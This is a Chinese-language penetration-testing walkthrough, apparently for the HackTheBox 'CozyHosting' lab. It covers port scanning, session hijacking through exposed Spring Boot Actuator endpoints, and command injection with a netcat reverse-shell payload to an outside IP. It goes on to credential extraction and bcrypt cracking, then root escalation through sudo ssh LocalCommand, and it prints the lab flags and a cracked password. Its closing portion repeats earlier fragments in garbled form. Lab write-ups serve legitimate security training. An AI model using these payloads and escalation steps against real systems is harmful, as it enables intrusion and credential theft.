CozyHosting 渗透测试教学文档<\/h1>

1. 信息收集阶段<\/h2>

1.1 目标识别<\/h3>

IP地址: 10.10.11.230<\/li>
操作系统: Ubuntu Linux (基于SSH banner识别)<\/li>
Web服务器: Nginx 1.18.0<\/li>

开放端口:

22\/tcp: OpenSSH 8.9p1<\/li>

80\/tcp: HTTP (Nginx)<\/li> <\/ul> <\/li> <\/ul>

1.2 主机发现与端口扫描<\/h3>

使用以下命令进行扫描:<\/p>

ip=<\/span>'10.10.11.230'<\/span>; itf=<\/span>'tun0'<\/span>
<\/span><\/span>if<\/span> nmap -Pn -sn "<\/span>$ip"<\/span> | grep -q "Host is up"<\/span>; then<\/span>
<\/span><\/span>  echo -e "\e[32m[+] Target <\/span>$ip is up, scanning ports...\e[0m"<\/span>
<\/span><\/span>  ports=<\/span>$(<\/span>sudo masscan -p1-65535,U:1-65535 "<\/span>$ip"<\/span> --rate=<\/span>1000<\/span> -e "<\/span>$itf"<\/span> | awk '\/open\/ {print $4}'<\/span> | cut -d '\/'<\/span> -f1 | sort -n | tr '\n'<\/span> ','<\/span> | sed 's\/,$\/\/'<\/span>)<\/span>
<\/span><\/span>  if<\/span> [<\/span> -n "<\/span>$ports"<\/span> ]<\/span>; then<\/span>
<\/span><\/span>    echo -e "\e[34m[+] Open ports found on <\/span>$ip: <\/span>$ports\e[0m"<\/span>
<\/span><\/span>    nmap -Pn -sV -sC -p "<\/span>$ports"<\/span> "<\/span>$ip"<\/span>
<\/span><\/span>  else<\/span>
<\/span><\/span>    echo -e "\e[31m[!] No open ports found on <\/span>$ip.\e[0m"<\/span>
<\/span><\/span>  fi<\/span>
<\/span><\/span>else<\/span>
<\/span><\/span>  echo -e "\e[31m[!] Target <\/span>$ip is unreachable, network is down.\e[0m"<\/span>
<\/span><\/span>fi<\/span>
<\/span><\/span><\/code><\/pre>1.3 Web应用枚举<\/h3>

添加hosts记录:<\/li>
<\/ol>
echo "10.10.11.230 cozyhosting.htb"<\/span> >> \/etc\/hosts
<\/span><\/span><\/code><\/pre>
目录爆破:<\/li>
<\/ol>
feroxbuster -u 'http:\/\/cozyhosting.htb\/'<\/span> -w \/usr\/share\/seclists\/Discovery\/Web-Content\/quickhits.txt
<\/span><\/span><\/code><\/pre>
检查Spring Boot Actuator端点:<\/li>
<\/ol>
curl http:\/\/cozyhosting.htb\/actuator\/mappings | jq
<\/span><\/span>curl http:\/\/cozyhosting.htb\/actuator\/sessions | jq
<\/span><\/span><\/code><\/pre>2. 漏洞利用阶段<\/h2>
2.1 Spring Boot会话泄露<\/h3>
通过Actuator端点发现会话信息泄露漏洞，可以获取有效会话ID。<\/p>
2.2 Cozy Cloud RCE漏洞<\/h3>
发现存在命令注入漏洞的API端点 \/executessh<\/code>。<\/p>
利用方法:<\/p>
POST<\/span> \/executessh HTTP<\/span>\/<\/span>1.1<\/span>
<\/span><\/span>Host:<\/span> cozyhosting.htb<\/span>
<\/span><\/span>User-Agent:<\/span> Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/112.0<\/span>
<\/span><\/span>Accept:<\/span> text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<\/span>
<\/span><\/span>Accept-Language:<\/span> en-US,en;q=0.5<\/span>
<\/span><\/span>Accept-Encoding:<\/span> gzip, deflate<\/span>
<\/span><\/span>Content-Type:<\/span> application\/x-www-form-urlencoded<\/span>
<\/span><\/span>Content-Length:<\/span> 47<\/span>
<\/span><\/span>Origin:<\/span> http:\/\/cozyhosting.htb<\/span>
<\/span><\/span>Connection:<\/span> close<\/span>
<\/span><\/span>Referer:<\/span> http:\/\/cozyhosting.htb\/admin<\/span>
<\/span><\/span>Cookie:<\/span> JSESSIONID=E2D6FD319BB33F0C82C7A5BDB7B5BB9E<\/span>
<\/span><\/span>Upgrade-Insecure-Requests:<\/span> 1<\/span>
<\/span><\/span>
<\/span><\/span>host=127.0.0.1&username=1;ping -c 1 10.10.16.28
<\/span><\/span><\/code><\/pre>反弹shell payload:<\/p>
host=127.0.0.1&username=1;nc 10.10.16.28 443 -e \/bin\/bash
<\/span><\/span><\/span><\/code><\/pre>2.3 横向移动 - PostgreSQL数据库访问<\/h3>

解压应用程序jar文件查找凭据:<\/li>
<\/ol>
unzip cloudhosting-0.0.1.jar -d \/tmp\/
<\/span><\/span>grep -iR password \/tmp\/
<\/span><\/span><\/code><\/pre>
发现数据库凭据:<\/li>
<\/ol>
username=postgres
password=Vg&nvzAQ7XxR
<\/code><\/pre>

连接PostgreSQL数据库:<\/li>
<\/ol>
psql -h 127.0.0.1 -U postgres
<\/span><\/span><\/code><\/pre>
数据库操作:<\/li>
<\/ol>
\<\/span>connect<\/span> cozyhosting
<\/span><\/span>\<\/span>dt
<\/span><\/span>select<\/span> *<\/span> from<\/span> users;
<\/span><\/span><\/code><\/pre>
获取的用户哈希:<\/li>
<\/ol>
kanderson | $2a$10$E\/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
<\/code><\/pre>

使用hashcat破解密码:<\/li>
<\/ol>
hashcat.exe hashes.txt --wordlist=<\/span>.\/rockyou.txt -m 3200<\/span>
<\/span><\/span><\/code><\/pre>破解结果: manchesterunited<\/code><\/p>
3. 权限提升阶段<\/h2>
3.1 SSH权限提升<\/h3>
发现可以利用SSH配置进行权限提升:<\/p>
sudo \/usr\/bin\/ssh -v -o PermitLocalCommand=<\/span>yes -o 'LocalCommand=\/bin\/bash'<\/span> josh@127.0.0.1
<\/span><\/span><\/code><\/pre>4. 获取Flag<\/h2>
4.1 用户Flag<\/h3>
路径: \/home\/kanderson\/user.txt<\/code>

内容: cc93083b7bccc1a1317a42e90f1fbcc2<\/code><\/p>
4.2 Root Flag<\/h3>
路径: \/root\/root.txt<\/code>

内容: db965b14ba2e4959c7ef2d0f135e0d0e<\/code><\/p>
5. 总结<\/h2>
本次渗透测试涉及以下关键点:<\/p>

Spring Boot Actuator端点信息泄露<\/li>
命令注入漏洞利用<\/li>
数据库凭据提取与破解<\/li>
SSH配置不当导致的权限提升<\/li>
<\/ol>
防护建议:<\/p>

限制Actuator端点的访问<\/li>
对用户输入进行严格过滤<\/li>
避免在配置文件中存储明文凭据<\/li>
定期审计SSH配置和sudo权限<\/li>
<\/ol>

CozyHosting 渗透测试教学文档<\/h1>

1. 信息收集阶段<\/h2>

2. 漏洞利用阶段<\/h2>

2.1 Spring Boot会话泄露<\/h3> 通过Actuator端点发现会话信息泄露漏洞，可以获取有效会话ID。<\/p>

4. 获取Flag<\/h2>

4.1 用户Flag<\/h3> 路径: \/home\/kanderson\/user.txt<\/code> 内容: cc93083b7bccc1a1317a42e90f1fbcc2<\/code><\/p>

2.1 Spring Boot会话泄露<\/h3>
通过Actuator端点发现会话信息泄露漏洞，可以获取有效会话ID。<\/p>

4.1 用户Flag<\/h3>
路径: `\/home\/kanderson\/user.txt<\/code> 内容: cc93083b7bccc1a1317a42e90f1fbcc2<\/code><\/p>`